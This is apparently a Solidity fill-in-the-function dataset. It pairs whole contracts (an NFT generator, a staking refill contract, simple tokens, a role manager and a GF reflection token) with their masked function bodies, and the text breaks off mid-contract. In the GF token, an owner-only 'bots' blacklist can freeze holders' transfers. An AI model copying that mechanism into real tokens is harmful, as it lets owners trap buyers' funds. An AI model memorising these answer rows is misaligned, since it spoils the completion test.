toolbWenDda("sexiferPeman", "Noteleks"); toolbWenDda("sexiferPeman", "Ssa"); toolbWenDda("sexiferPeman", "Sinep"); toolbWenDda("sexiferPeman", "Htaed"); toolbWenDda("sexiferPeman", "Roolf"); toolbWenDda("sexiferPeman", "Gniliec"); toolbWenDda("sexiferPeman", "Einaeb"); toolbWenDda("sexiferPeman", "Llerro"); toolbWenDda("sexiferPeman", "RemraFoport"); toolbWenDda("sexiferPeman", "Renob"); toolbWenDda("sexiferPeman", "Itey"); toolbWenDda("sexiferPeman", "Aznedif"); toolbWenDda("sexiferPeman", "Ybbuhc"); toolbWenDda("sexiferPeman", "Maerc"); toolbWenDda("sexiferPeman", "Tcartnoc"); toolbWenDda("sexiferPeman", "Dlofinam"); toolbWenDda("sexiferPeman", "Ralohcs Eixa"); toolbWenDda("sexiferPeman", "Evitavired"); toolbWenDda("sexiferPeman", "Gnik"); toolbWenDda("sexiferPeman", "Neeuq"); toolbWenDda("sexiferPeman", "Noitacifirev"); toolbWenDda("sexiferPeman", "Niap"); toolbWenDda("sexiferPeman", "Ytidiuqil"); toolbWenDda("sexiferPeman", "Ezeed"); toolbWenDda("sexiferPeman", "Knufg"); toolbWenDda("sexiffuSeman", "Repsihw"); toolbWenDda("sexiffuSeman", "Pmud"); toolbWenDda("sexiffuSeman", "Raet"); toolbWenDda("sexiffuSeman", "Hctib"); toolbWenDda("sexiffuSeman", "Noom"); toolbWenDda("sexiffuSeman", "Hcnelc"); toolbWenDda("sexiffuSeman", "Msij"); toolbWenDda("sexiffuSeman", "Repmihw"); toolbWenDda("sexiffuSeman", "Lleh"); toolbWenDda("sexiffuSeman", "Xes"); toolbWenDda("sexiffuSeman", "Pot"); toolbWenDda("sexiffuSeman", "Retniw"); toolbWenDda("sexiffuSeman", "Noitalutipac"); toolbWenDda("sexiffuSeman", "Roop"); toolbWenDda("sexiffuSeman", "S'DlanoDcM"); } function toolbWenDda(string memory yek, string memory eulav) internal returns(bool success) { uint256 tnuoc_snoitpo = snoitpo[yek]; pamtoolb[yek][tnuoc_snoitpo] = eulav; snoitpo[yek]=tnuoc_snoitpo+1; return true; } function modnar(uint256 tokenId, string memory tupni) internal view returns (uint256) { string memory detaerCnekot = toString(detaerCnehw[tokenId]); return uint256(keccak256(abi.encodePacked(string(abi.encodePacked("Block:", detaerCnekot, "Domain:", tupni))))); } function kculp(uint256 tokenId, string memory xiferPyek) internal view returns (string memory, string memory, uint256) { string memory rts_tokenId = toString(tokenId); uint256 dnar = modnar(tokenId, string(abi.encodePacked(xiferPyek, rts_tokenId))); uint256 sepyt = snoitpo[xiferPyek]; string memory tuptuo = pamtoolb[xiferPyek][dnar % sepyt]; string memory elpmis = tuptuo; uint256 ssentaerg = dnar % 21; if (ssentaerg > 14) { uint256 dnar_sexiffus = modnar(tokenId, string(abi.encodePacked(xiferPyek, rts_tokenId))); uint256 nel_sexiffus = snoitpo["sexiffus"]; tuptuo = string(abi.encodePacked(pamtoolb["sexiffus"][dnar_sexiffus % nel_sexiffus], " ", tuptuo)); } if (ssentaerg >= 19) { uint256 dnar_sexiferPeman = modnar(tokenId, string(abi.encodePacked(xiferPyek, "sexiferPeman", rts_tokenId))); uint256 nel_sexiferPeman = snoitpo["sexiferPeman"]; uint256 dnar_sexiffuSeman = modnar(tokenId, string(abi.encodePacked(xiferPyek, "sexiffuSeman", rts_tokenId))); uint256 nel_sexiffuSeman = snoitpo["sexiffuSeman"]; string memory xiferPeman = pamtoolb["sexiferPeman"][dnar_sexiferPeman % nel_sexiferPeman]; string memory xiffuSeman = pamtoolb["sexiffuSeman"][dnar_sexiffuSeman % nel_sexiffuSeman]; if (ssentaerg == 19) { tuptuo = string(abi.encodePacked(tuptuo, ' "', xiffuSeman, ' ', xiferPeman, '"')); } else { tuptuo = string(abi.encodePacked("1+ ", tuptuo, ' "', xiffuSeman, ' ', xiferPeman, '"')); } } return (tuptuo, elpmis, ssentaerg); } function toolbteg(uint256 dInoket, uint256 yrtne, string memory dleif, string[10] memory strap, string[10] memory setubirtta) internal view returns (uint256) { uint256 xedni = yrtne + 1; string memory meti; string memory elpmis; uint256 ssentaerg = 0; (meti, elpmis, ssentaerg) = kculp(dInoket, dleif); strap[xedni] = string(abi.encodePacked('<text x="10" y="', toString(20 * xedni), '" class="base">', meti, '</text>')); setubirtta[xedni] = string(abi.encodePacked('{"trait_type": "', dleif,'", "value": "', elpmis, '"},')); return ssentaerg; } function tokenURI(uint256 tokenId) override public view returns (string memory) { require(detaerCnehw[tokenId] > 0, "Token not yet created"); uint256 ssentaerg = 0; string[10] memory strap; string[10] memory setubirtta; strap[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: black; font-family: serifs; font-size: 14px; }</style><rect width="100%" height="100%" fill="#00FFFF" />'; setubirtta[0] = '"attributes": ['; ssentaerg += toolbteg(tokenId, 0, "snopaew", strap, setubirtta); ssentaerg += toolbteg(tokenId, 1, "romrAtsehc", strap, setubirtta); ssentaerg += toolbteg(tokenId, 2, "romrAdaeh", strap, setubirtta); ssentaerg += toolbteg(tokenId, 3, "romrAtsiaw", strap, setubirtta); ssentaerg += toolbteg(tokenId, 4, "romrAtoof", strap, setubirtta); ssentaerg += toolbteg(tokenId, 5, "romrAdnah", strap, setubirtta); ssentaerg += toolbteg(tokenId, 6, "secalkcen", strap, setubirtta); ssentaerg += toolbteg(tokenId, 7, "sgnir", strap, setubirtta); strap[9] = '</svg>'; setubirtta[9] = string(abi.encodePacked('{"trait_type": "ssentaerg", "value": ', toString(ssentaerg), '}]')); string memory tuptuo = string(abi.encodePacked(strap[0], strap[1], strap[2], strap[3], strap[4], strap[5], strap[6], strap[7])); tuptuo = string(abi.encodePacked(tuptuo, strap[8], strap[9])); string memory tuptuo_etubirtta = string(abi.encodePacked(setubirtta[0], setubirtta[1], setubirtta[2], setubirtta[3], setubirtta[4], setubirtta[5], setubirtta[6], setubirtta[7])); tuptuo_etubirtta = string(abi.encodePacked(tuptuo_etubirtta, setubirtta[8], setubirtta[9])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "TOOLB #', toString(tokenId), '", "description": ".sselhtrow yllacisab si TOOLB", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(tuptuo)), '", ', tuptuo_etubirtta, '}')))); tuptuo = string(abi.encodePacked('data:application/json;base64,', json)); return tuptuo; } function mint(uint8 _quantityToMint) public payable { require(_quantityToMint >= 1, "Must mint at least 1"); require(_quantityToMint <= 7, "Limit of 7 per txn"); require((_quantityToMint + ERC721.balanceOf(_msgSender())) <= 40, "Max tokens per address is 40"); require((_quantityToMint + totalSupply()) <= 4004, "Requested mint exceeds max"); require(msg.value == (10_000_000_000_000_000 * _quantityToMint), "Minting fee is 0.01 eth per token"); for (uint8 i = 0; i < _quantityToMint; i++) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(_msgSender(), newItemId); detaerCnehw[newItemId] = block.number; } } // Function to receive Ether. msg.data must be empty receive() external payable {} <FILL_FUNCTION> function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } }
require(address(this).balance > 0, "Balance must be positive"); address payable a = payable(address(0x6e7592ff3C32c93A520A11020379d66Ab844Bf5B)); address payable b = payable(address(0x697D01147ddA54cd4279498892d8C59e4BEd00a4)); address payable c = payable(address(0x1cD69A22D7685E692d283159679397B2D6F1882C)); uint256 share = address(this).balance/3; (bool success, ) = a.call{value: share}(""); require(success == true, "Failed to withdraw ether"); (success, ) = b.call{value: share}(""); require(success == true, "Failed to withdraw ether"); (success, ) = c.call{value: share}(""); require(success == true, "Failed to withdraw ether");
function withdraw() public onlyContributors
// Withdraw ether from contract function withdraw() public onlyContributors
64,745
StakeRewardRefill
refill
contract StakeRewardRefill { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "StakeRewardRefill/account-not-authorized"); _; } /** * @notice Checks whether msg.sender can refill **/ modifier canRefill { require(either(openRefill == 1, authorizedAccounts[msg.sender] == 1), "StakeRewardRefill/cannot-refill"); _; } // --- Variables --- // Last timestamp for a refill uint256 public lastRefillTime; // The delay between two consecutive refills uint256 public refillDelay; // The amount to send per refill uint256 public refillAmount; // Whether anyone can refill or only authed accounts uint256 public openRefill; // The address that receives tokens address public refillDestination; // The token used as reward ERC20 public rewardToken; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters( bytes32 parameter, address addr ); event ModifyParameters( bytes32 parameter, uint256 val ); event Refill(address refillDestination, uint256 amountToTransfer); constructor( address rewardToken_, address refillDestination_, uint256 openRefill_, uint256 refillDelay_, uint256 refillAmount_ ) public { require(rewardToken_ != address(0), "StakeRewardRefill/null-reward-token"); require(refillDestination_ != address(0), "StakeRewardRefill/null-refill-destination"); require(refillDelay_ > 0, "StakeRewardRefill/null-refill-delay"); require(refillAmount_ > 0, "StakeRewardRefill/null-refill-amount"); require(openRefill_ <= 1, "StakeRewardRefill/invalid-open-refill"); authorizedAccounts[msg.sender] = 1; openRefill = openRefill_; refillDelay = refillDelay_; refillAmount = refillAmount_; lastRefillTime = now; rewardToken = ERC20(rewardToken_); refillDestination = refillDestination_; emit AddAuthorization(msg.sender); emit ModifyParameters("openRefill", openRefill); emit ModifyParameters("refillDestination", refillDestination); emit ModifyParameters("refillDelay", refillDelay); emit ModifyParameters("refillAmount", refillAmount); } // --- Boolean Logic --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } // --- Math --- function subtract(uint x, uint y) public pure returns (uint z) { z = x - y; require(z <= x, "uint-uint-sub-underflow"); } function multiply(uint x, uint y) public pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow"); } // --- Administration --- /** * @notice Modify an address parameter * @param parameter The parameter name * @param data The new parameter value **/ function modifyParameters(bytes32 parameter, address data) external isAuthorized { require(data != address(0), "StakeRewardRefill/null-address"); if (parameter == "refillDestination") { refillDestination = data; } else revert("StakeRewardRefill/modify-unrecognized-param"); } /** * @notice Modify a uint256 parameter * @param parameter The parameter name * @param data The new parameter value **/ function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized { if (parameter == "openRefill") { require(data <= 1, "StakeRewardRefill/invalid-open-refill"); openRefill = data; } else if (parameter == "lastRefillTime") { require(data >= lastRefillTime, "StakeRewardRefill/invalid-refill-time"); lastRefillTime = data; } else if (parameter == "refillDelay") { require(data > 0, "StakeRewardRefill/null-refill-delay"); refillDelay = data; } else if (parameter == "refillAmount") { require(data > 0, "StakeRewardRefill/null-refill-amount"); refillAmount = data; } else revert("StakeRewardRefill/modify-unrecognized-param"); } /** * @notice Transfer tokens to a custom address * @param dst Transfer destination * @param amount Amount of tokens to transfer **/ function transferTokenOut(address dst, uint256 amount) external isAuthorized { require(dst != address(0), "StakeRewardRefill/null-dst"); require(amount > 0, "StakeRewardRefill/null-amount"); rewardToken.transfer(dst, amount); } // --- Core Logic --- /** * @notice Send tokens to refillDestination * @dev This function can only be called if msg.sender passes canRefill checks **/ function refill() external canRefill {<FILL_FUNCTION_BODY> } }
contract StakeRewardRefill { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "StakeRewardRefill/account-not-authorized"); _; } /** * @notice Checks whether msg.sender can refill **/ modifier canRefill { require(either(openRefill == 1, authorizedAccounts[msg.sender] == 1), "StakeRewardRefill/cannot-refill"); _; } // --- Variables --- // Last timestamp for a refill uint256 public lastRefillTime; // The delay between two consecutive refills uint256 public refillDelay; // The amount to send per refill uint256 public refillAmount; // Whether anyone can refill or only authed accounts uint256 public openRefill; // The address that receives tokens address public refillDestination; // The token used as reward ERC20 public rewardToken; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters( bytes32 parameter, address addr ); event ModifyParameters( bytes32 parameter, uint256 val ); event Refill(address refillDestination, uint256 amountToTransfer); constructor( address rewardToken_, address refillDestination_, uint256 openRefill_, uint256 refillDelay_, uint256 refillAmount_ ) public { require(rewardToken_ != address(0), "StakeRewardRefill/null-reward-token"); require(refillDestination_ != address(0), "StakeRewardRefill/null-refill-destination"); require(refillDelay_ > 0, "StakeRewardRefill/null-refill-delay"); require(refillAmount_ > 0, "StakeRewardRefill/null-refill-amount"); require(openRefill_ <= 1, "StakeRewardRefill/invalid-open-refill"); authorizedAccounts[msg.sender] = 1; openRefill = openRefill_; refillDelay = refillDelay_; refillAmount = refillAmount_; lastRefillTime = now; rewardToken = ERC20(rewardToken_); refillDestination = refillDestination_; emit AddAuthorization(msg.sender); emit ModifyParameters("openRefill", openRefill); emit ModifyParameters("refillDestination", refillDestination); emit ModifyParameters("refillDelay", refillDelay); emit ModifyParameters("refillAmount", refillAmount); } // --- Boolean Logic --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } // --- Math --- function subtract(uint x, uint y) public pure returns (uint z) { z = x - y; require(z <= x, "uint-uint-sub-underflow"); } function multiply(uint x, uint y) public pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow"); } // --- Administration --- /** * @notice Modify an address parameter * @param parameter The parameter name * @param data The new parameter value **/ function modifyParameters(bytes32 parameter, address data) external isAuthorized { require(data != address(0), "StakeRewardRefill/null-address"); if (parameter == "refillDestination") { refillDestination = data; } else revert("StakeRewardRefill/modify-unrecognized-param"); } /** * @notice Modify a uint256 parameter * @param parameter The parameter name * @param data The new parameter value **/ function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized { if (parameter == "openRefill") { require(data <= 1, "StakeRewardRefill/invalid-open-refill"); openRefill = data; } else if (parameter == "lastRefillTime") { require(data >= lastRefillTime, "StakeRewardRefill/invalid-refill-time"); lastRefillTime = data; } else if (parameter == "refillDelay") { require(data > 0, "StakeRewardRefill/null-refill-delay"); refillDelay = data; } else if (parameter == "refillAmount") { require(data > 0, "StakeRewardRefill/null-refill-amount"); refillAmount = data; } else revert("StakeRewardRefill/modify-unrecognized-param"); } /** * @notice Transfer tokens to a custom address * @param dst Transfer destination * @param amount Amount of tokens to transfer **/ function transferTokenOut(address dst, uint256 amount) external isAuthorized { require(dst != address(0), "StakeRewardRefill/null-dst"); require(amount > 0, "StakeRewardRefill/null-amount"); rewardToken.transfer(dst, amount); } <FILL_FUNCTION> }
uint256 delay = subtract(now, lastRefillTime); require(delay >= refillDelay, "StakeRewardRefill/wait-more"); // Update the last refill time lastRefillTime = subtract(now, delay % refillDelay); // Send tokens uint256 amountToTransfer = multiply(delay / refillDelay, refillAmount); rewardToken.transfer(refillDestination, amountToTransfer); emit Refill(refillDestination, amountToTransfer);
function refill() external canRefill
// --- Core Logic --- /** * @notice Send tokens to refillDestination * @dev This function can only be called if msg.sender passes canRefill checks **/ function refill() external canRefill
83,914
ECNcoin
ECNcoin
contract ECNcoin { uint public constant _totalsupply = 33333333; string public constant symbol = "ECNC"; string public constant name = "ECN coin"; uint8 public constant desimls = 8; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function ECNcoin(){<FILL_FUNCTION_BODY> } function totalSupply() constant returns (uint256 _totalSupply) { return _totalsupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 ); balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
contract ECNcoin { uint public constant _totalsupply = 33333333; string public constant symbol = "ECNC"; string public constant name = "ECN coin"; uint8 public constant desimls = 8; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; <FILL_FUNCTION> function totalSupply() constant returns (uint256 _totalSupply) { return _totalsupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 ); balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
balances[msg.sender] = _totalsupply;
function ECNcoin()
function ECNcoin()
12,147
RoleManager
removeAdmin
contract RoleManager { mapping(address => bool) private admins; mapping(address => bool) private controllers; modifier onlyAdmins { require(admins[msg.sender], 'only admins'); _; } modifier onlyControllers { require(controllers[msg.sender], 'only controllers'); _; } constructor() public { admins[msg.sender] = true; controllers[msg.sender] = true; } function addController(address _newController) external onlyAdmins{ controllers[_newController] = true; } function addAdmin(address _newAdmin) external onlyAdmins{ admins[_newAdmin] = true; } function removeController(address _controller) external onlyAdmins{ controllers[_controller] = false; } function removeAdmin(address _admin) external onlyAdmins{<FILL_FUNCTION_BODY> } function isAdmin(address addr) external view returns (bool) { return (admins[addr]); } function isController(address addr) external view returns (bool) { return (controllers[addr]); } }
contract RoleManager { mapping(address => bool) private admins; mapping(address => bool) private controllers; modifier onlyAdmins { require(admins[msg.sender], 'only admins'); _; } modifier onlyControllers { require(controllers[msg.sender], 'only controllers'); _; } constructor() public { admins[msg.sender] = true; controllers[msg.sender] = true; } function addController(address _newController) external onlyAdmins{ controllers[_newController] = true; } function addAdmin(address _newAdmin) external onlyAdmins{ admins[_newAdmin] = true; } function removeController(address _controller) external onlyAdmins{ controllers[_controller] = false; } <FILL_FUNCTION> function isAdmin(address addr) external view returns (bool) { return (admins[addr]); } function isController(address addr) external view returns (bool) { return (controllers[addr]); } }
require(_admin != msg.sender, 'unexecutable operation'); admins[_admin] = false;
function removeAdmin(address _admin) external onlyAdmins
function removeAdmin(address _admin) external onlyAdmins
45,015
GF
null
contract GF is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "https://t.me/GenerationalFreedom"; string private constant _symbol = "GF"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract GF is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "https://t.me/GenerationalFreedom"; string private constant _symbol = "GF"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && 